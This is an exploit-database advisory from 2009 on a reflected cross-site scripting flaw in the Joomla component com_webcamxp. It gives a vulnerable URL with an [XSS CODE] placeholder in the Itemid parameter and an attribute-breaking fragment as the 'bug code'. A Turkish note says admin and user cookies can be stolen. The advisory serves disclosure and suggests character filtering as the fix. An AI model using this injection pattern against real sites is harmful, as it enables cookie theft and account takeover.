com_webcamxp - Cross-Site Scripting

EDB-ID:

10733

CVE:

N/A


Author:

Pyske

Type:

webapps


Platform:

PHP

Date:

2009-12-27


# Exploit Title: com_webcamxp Cross Site Scripting Vulnerabilities
# Date: 27:12:2009
# Author: Pyske



< ------------------- header data start ------------------- >

###########################################################################
Joomla Component com_webcamxp Cross Site Scripting Vulnerabilities
###########################################################################
# Author : Pyske
# Name : com_webcamxp
# Home : www.cyber-warrior.org
# Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R and ALL Cyber-Warrior

# Bug Type : Cross Site Scripting
# Infection : Yönetici ve User cookiekleri calinabilir.

# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.
# Demo Vuln. : http://server/nw/index.php?option=com_webcamxp&Itemid= [XSS CODE]

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >
">
< -- bug code end of -- >